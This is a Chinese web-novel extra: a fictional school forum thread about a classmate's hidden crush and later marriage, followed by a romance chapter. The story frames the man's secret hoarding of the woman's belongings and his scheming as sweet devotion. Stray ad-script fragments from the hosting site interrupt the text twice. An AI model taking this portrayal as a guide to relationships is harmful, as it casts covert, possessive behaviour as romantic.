3楼:来了来了,大家稍安勿躁,事情是这样的,大家都知道我们上个月才高考完对吧?高考结束后的第二天,lz关系最好的朋友邀请lz和其他朋友们一起去KTV玩。重点来了,lz关系最好的那个朋友有个青梅竹马一起长大的邻居哥哥。说起来这个竹马藏的是真深呐,从小到大一直没表现出一点异常,在今天之前,lz和lz的朋友们都以为他对lz关系最好的那个朋友只有兄妹情,无论是家人还是老师都没察觉到不对劲,直到几轮游戏玩下来,那个竹马喝的有点醉,一股脑吐露出好多秘密,直到那个时候我们才知道,原来他心机特别重,一直暗恋lz关系最好的那个朋友! 4楼:哇嚯,突然开始刺激起来了! 5楼:然后呢?然后呢?lz别逼我跪下求你! 6楼:你们倒是给我打字的时间啊!重点不是暗恋,而是lz朋友那个竹马暗恋期间的“光辉成就”!本校学生应该都知道咱们学校突然管控手机的事吧? 7楼:??? 8楼:怎么的,难道这事跟那个竹马有关系?那我高低得进来骂几句。 9楼:猜对了!这位竹马可不得了,他看不惯贴吧有人磕他情敌和小青梅的cp,大手一挥写下千字建议信,校长收到匿名邮箱后大为震撼,直夸背后发邮箱的真是懂上进的好学生!当然,更精彩的还远不止于此,因为看不惯有人磕cp和写同人文,竹马亲自披上马甲去捞同人作者,许下重金让写情敌和小青梅同人文的写手转而写他和小青梅的同人文! 10楼:好家伙,我直呼好家伙。 11楼:这还真是越看越精彩,现在暗恋都这么不顾其他人死活吗? 12楼:一路看下来,我的心情只有庆幸,还好我不是这个学校的哈哈哈哈哈,我们手机还在自己手里哎~ 13楼:楼上别笑得太早,咱们都是同ip,听说州城一中今年打本率再创新高,管控手机起到了很大的作用……你猜猜这种情况下,其他学校的校领导会不会羡慕,没猜错的话其他学校也要学这一招了,祝你好运。 14楼:不要哇QWQ,真的哭死。 15楼:就我一个人觉得这个故事有点点耳熟吗? 16楼:带我一个,我也觉得…… 17楼:别打乱队形,正讨论管控手机呢。 …… 46楼:等等,你们怎么歪了这么多层楼?手机的事先放在一边,重点不应该是花大价钱约同人文吗?lz是怎么知道的? 47楼:大胆猜一下,lz不会是曾经写竹马情敌和青梅cp同人文的写手之一吧? 48楼:这脑洞着实有点大,但点开lz的主页……楼上真相了! 49楼:这不是重点吧?重点明明是匿名建议管控手机!lz快告诉我那个竹马是谁,看我不去套他麻袋! 50楼:你们别吵啦,我就是去报了个志愿,怎么就吵成这样了?算了,我继续往下说吧。按理来说这种事在醉酒后被抖出来后,正常人都会感动尴尬羞耻,可当事人却若无其事地把小青梅骗去旅游,压根不带害怕的。 51楼:摩多摩多,lz,终于等到你~ 52楼:然后呢,然后呢?接下来事情是怎么发展的? 53楼:然后KTV发生的事,就传到lz关系最好的朋友和那个竹马的父母耳朵里呗,当时两家可热闹了,都恨不得把竹马抓回去训一顿。 54楼:所以教训了吗? 55楼:打起来!打起来!!打起来!!! 56楼:没打起来,那个竹马和lz关系最好的朋友高考成绩很不错,家里人都很高兴,没人阻拦他们在一起。高考分数出来的第二天,我们班弄了个毕业聚餐,席上那个竹马毫无愧疚之心,居然把自己做过的事情又说了一遍。 57楼:贴脸开大,这是真正的勇士。 58楼:这真没话说。 59楼:他们是什么时候确定关系的,要是早就确定关系,还能逃过教导主任的火眼金睛,我高低得给他磕一个。 60楼:哈哈哈不至于那么夸张哈,他们是高考结束后确认的关系,lz关系最好的那个朋友不早恋的,是个乖乖宝好学生!不过当时班主任确实惊讶到了,其他同学也是。但仔细想想其实一切都有迹可循,那个竹马之前离经叛道,根本不好好学习,每次遇到lz关系最好的那个朋友的追求者都鼻子不是鼻子,眼睛不是眼睛的,结果一沾到lz关系最好的那个朋友的事就急了,迅速改变自己,努力学习,只想和lz关系最好的那个朋友有共同话题。 61楼:此时此刻,我想高歌一曲,这就是爱情~ 62楼:化爱情为动力,这高低得给个点赞。 63楼:嘶,我……怎么觉得…… 64楼:楼上发什么癫?有话不能好好说? 65楼:我又不是不说,你急什么?我就是想说这个故事好像越来越熟悉了。 66楼:有内部消息?展开说?! 67楼:我之前就觉得熟悉了,但大家都在讨论其他的…… 68楼:已经凌晨两点了,你们知道我为了吃这个瓜有多努力吗?快说吧快说吧,吃完这个瓜我就去睡了。 69楼:我大概知道楼上的楼上想说什么……青梅竹马、兄妹情、高考成绩不错、之前离经叛道、情敌、磕cp、同人文…… 70楼:你们直接报霍鸷阳的名字得了呗,这有什么不能说的?看了这么久真是急死人了。 71楼:啧,还真是霍鸷阳?lz要不要给个准话? 72楼:是霍鸷阳,大家解码好快,既然都知道是他了,以后这个帖子就用来分享lz的无语瞬间吧,lz报考的大学在lz关系最好的朋友报考的大学,还有霍鸷阳报考的大学的中间。 73楼:哈哈哈既然lz这么说了,我就留个位置,更新求踢。 74楼:已收藏,莫辜负~【笔芯jpg.】 75楼:风里雨里,贴吧等你~ 76楼:+1! 77楼:+2! 78楼:+身份证号! …… 183楼:今天lz已经到了新学校了,不用吃午餐都撑得饱饱的,别问为什么,问就是吃狗粮吃饱了,霍鸷阳是真飘了,一点都 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不装。【无语翻白眼jpg.】 …… 269楼:啊~真香,lz想开了,比起那个恶心人的情敌,霍鸷阳确实是个好选择,起码做得一手好饭菜。 270楼:区区一顿饭,lz就妥协了? 271楼:NONONO,楼上你这就不懂了吧?这可不是一般的饭菜,这是霍鸷阳亲手做的,谁能想到大名鼎鼎的校霸居然甘愿为爱洗手作羹汤? 272楼:追了这么久帖子,我也是看明白了,lz放弃挣扎吧,这两是真爱。 273楼:警告!该贴含糖量爆表! 274楼:明年高考的学弟特来打卡,之前多亏了霍学长帮忙,才让我免除被外校坏人揍,祝霍学长和学姐天天快乐! 275楼:我是下学期即将入学的学妹,本来是想上校贴吧打探一下开学需要准备什么,没想到点开这个帖子就陷进来了,太甜了太甜了呜呜呜~ 276楼:同即将入学…… …… 325楼:哈哈哈,莫名有种预感,这栋楼以后不会变成未来学弟学妹们的打卡点吧? 326楼:嗯……这何尝不是一种新型知名校友呢? 327楼:那必须是啊!【肯定点头jpg.】 328楼:突然有点好奇这个帖子会不会被霍鸷阳本人看见。 329楼:各位不用猜了,准确地告诉你们,霍鸷阳已经看见这个帖子了,并且表示非常自豪。 330楼:你怎么知道? 331楼:你怎么知道? 332楼:你怎么知道? 333楼:你怎么知道的? 334楼:楼上破坏队形,叉出去。 335楼:别闹,这时候还顾得上什么队形?重点是329楼怎么知道霍鸷阳看见了这个帖子,并且表示非常自豪的? 336楼:我是329楼,有没有一种可能,我就是霍鸷阳呢? 337楼:? 338楼:?? 339楼:??? 340楼:???! 341楼:我嘞个豆?!正主本人?! 342楼:没错,行不更名,坐不改姓,就是我,霍鸷阳。 343楼:我已经和lz最好的朋友在一起了,生活的非常开心,广大单身朋友们,你们也要努力! 344楼:一路看下来我真是乐了,我不脱单是我不想吗? 345楼:明明是教导主任和班主任不让! 346楼:你还好意思问呢?!要不是你,班主任和教导主任能抓得严了n倍吗? 347楼:【骂骂咧咧jpg.】 348楼:你们应该反省反省自己,要是谈恋爱能让你们成绩提升,班主任和教导主任至于那么着急抓早恋吗? 349楼:呵。 350楼:呵呵。 351楼:呵呵呵。 …… 997楼:我是楼主,时隔多年,再次打开这个帖子,心情有点复杂,今天我要宣布一个消息,谢谢大家对lz关系最好的朋友的祝福。——lz关系最好的朋友和霍鸷阳结婚了! 998楼:没想到这么多年过去了,我磕的cp还有售后哎~恭喜恭喜! 999楼:哎,才发现我是999楼,那就祝两位新人999吧! 49.独发,禁止转载 姜祁月和霍鸷阳的蜜月是在国外过的,中途刚好参加了个国际性钢琴比赛。 比赛结束已经是凌晨,大部分人都精疲力竭。 好在霍鸷阳精力不错,散场后开车带姜祁月回酒店拿行李,连夜去机场坐上回国的飞机。 飞机落地时已经是第二天下午了。 虽说飞机上服务很到位,有睡觉和吃饭的地方,但终究不是在陆地上,总没有什么实感。 下飞机后两人都长舒一口气。 打车回家后,霍鸷阳推开家门,笑着说:“哎,什么地方都比不上自己家。” “你精神真好,我去洗个澡休息一下。”姜祁月按了按太阳穴,疲倦的走进卫生间。 温水很好地缓解了疲倦。 从浴室出来后,姜祁月找了半天都没找到吹风机,奇怪地咦了一声。 “要找什么跟我说就行。”霍鸷阳从门口探出头来。 姜祁月蹙眉,疑惑不解地说:“在找吹风机,我记得之前吹风机不是放在床头柜的抽屉里吗?但我刚刚找没有找到。” “我来吧。”霍鸷阳走进卧室,打开另一边的床头柜抽屉,嬉皮笑脸地说:“是在床头柜的抽屉里,但你找错方向了。” “真是累糊涂了。”姜祁月叹气。 霍鸷阳挑眉:“快坐下,我帮你吹头发,吹完头发刚好睡一觉休息一下。等会儿你睡着我还得去乔姨哪儿一趟,她们上次去旅游买了很多礼物,让我过去带回来。” “嗯,好。”姜祁月没有拒绝,找了个位置坐下,等霍鸷阳帮忙吹头发。 不得不说霍鸷阳这些年照顾人的手法越来越熟练,连吹头发都跟一般人不一样,非常专业非常舒服。 任谁也想不到霍鸷阳第一次帮姜祁月吹头发时有多笨手笨脚,哪怕再轻柔小心也闹了不少笑话,不过他一直在进步,当真把年少时说的话贯彻到底。——只要姜祁月愿意给他一个机会,他就会牢牢抓住,永远都不会浪费。 不知道是不是这段小插曲,吹完头发入睡时,姜祁月做了个梦。 那个梦是霍鸷阳最大的秘密,也是她答应霍鸷阳求婚的最大原因。 当时她和霍鸷阳刚毕业不久。 作为唯一的助理,霍鸷阳要负责的事情有很多,包括一些商务演出,但刚接触这些难免有顾及不到的地方。 霍鸷阳在出租车上突然想起自己把谈合作的u盘丢家里了。 好在他有提前到场的习惯,距离约好的时间还有好一会儿,姜祁月也刚好在家里。 收到霍鸷阳发来的消息后,她立刻按照手机上标注的地方找,可在小阁楼里找到u盘的同时,她也看到了偷藏起来的一大堆东西。 有自己用着用着就莫名其妙消失不见的小发卡,还有一本被保护得很好的笔记本,如果没有记错,这个笔记本是她第一次送给霍鸷阳的礼物。 除了这些,还有许多她用了一半的笔和橡皮擦。 姜祁月有点收集癖,喜欢手机不同的笔套,这里的笔套她很眼熟,有许多都是霍鸷阳用各种没带笔的理由从她这里借走的,但每次过几天霍鸷阳都会道歉说笔不见了,然后花钱帮她买新的补上。 没想到全都在这里。 再往下看,还有一张被撕了一半的照片。 看仅剩的半张照片背景和人物,是当年高中时论坛传得风风雨雨的cp图。 要不是今天突然看见,照片里被裁掉的另一个人她都快忘了,没想到这么多东西还被霍鸷阳留到现在。 值得一提的是,每一样东西都被保护得很好,甚至体贴地套上了保护袋。 看到这一幕,姜祁月心里乱成一团。 将u盘送到霍鸷阳手里后,她耐心坐在不远处的另一桌,静候霍鸷阳洽谈完。 霍鸷阳速度很快,没有让她多等。 坐在一起喝咖啡时,姜祁月若无其事地提了一句,想试探下霍鸷阳的反应。 谁知霍鸷阳的反应比她想的还要大,紧张的坐直身,小心翼翼的打量了她几眼,试探着问:“我……我……我很久之前就喜欢你了,这件事你也知道,所以就忍不住多收集了点你的东西……” 大概是知道自己的所作所为很变态,霍鸷阳越说音量就越小,到最后甚至听不见了,轻轻消散在风里,眼眶泛红的样子仿佛随时会掉眼泪。 换成柔弱的美少年这一幕很养眼,但换成身高体壮的霍鸷阳,就哪儿哪儿都不对劲了,非常别扭,看得人浑身不自在。 姜祁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 月放下手里的咖啡,抬头看向霍鸷阳。 从霍鸷阳的表情就能看出,他说的都是真的。 这个人喜欢了她很久,喜欢到不敢贸然上前,只敢在背后偷偷收集点跟她有关的东西,被发现后害怕的厉害,又装作若无其事的样子强撑着不让人看出来。 可他的演技算不上好。 姜祁月一眼就看出来了。 但她并没有像霍鸷阳想的那样生气,反而心里涌起一股酸涩感,心跳越来越快。 当时她是怎么说的来着? 好像是笑着轻骂了声:“真是笨蛋。” 她就没见过比霍鸷阳更笨的人了。 “嗯,我笨,但傻人有傻福。”见她没生气,霍鸷阳喜笑颜开,笑得更傻了,一点都不觉得姜祁月说的话有问题。 笨点又怎么了,他过得比谁都好,是世界上最幸运的人! 梦外,姜祁月像是梦到什么高兴的事情,唇角不自觉上扬。 收拾好准备出门的霍鸷阳看见有些吃味,酸溜溜地说:“也不知道是谁能让你笑成这样。” 说完,俯身亲了姜祁月额头一下,仿佛打赢胜仗的公鸡般趾高气扬离开,别提多得意了。 合上卧室门出去的霍鸷阳并不知道,在他离开后,姜祁月就醒了。 她抬手摸了摸额头,仿佛还能感受到上面温热的触感。 微风吹过,窗帘轻轻摇曳。 卧室光线昏暗。 姜祁月眼角微弯,小声骂出和梦里一模一样的话:“真是笨蛋。” 和梦里不同,现在她和霍鸷阳已经结婚了,是合法伴侣关系。可霍鸷阳依旧很胆小,哪怕在她睡着时偷亲也不敢越线,只敢偷亲她的额头。 看着窗外的晚霞,姜祁月心底升起一个念头。——或许她应该再勇敢一次。 不怪霍鸷阳这么小心翼翼,一直得不到同等的回应,是会陷入怀疑和自卑。 来日方长,既然决定和霍鸷阳永远在一起,她也要回应这段感情,不能再当被动的缩头乌龟。 之前都是霍鸷阳努力,现在也轮到她了。 虽然做不到霍鸷阳一样厉害,但姜祁月相信自己会做的越来越好,直到让霍鸷阳相信她也很在意这段感情。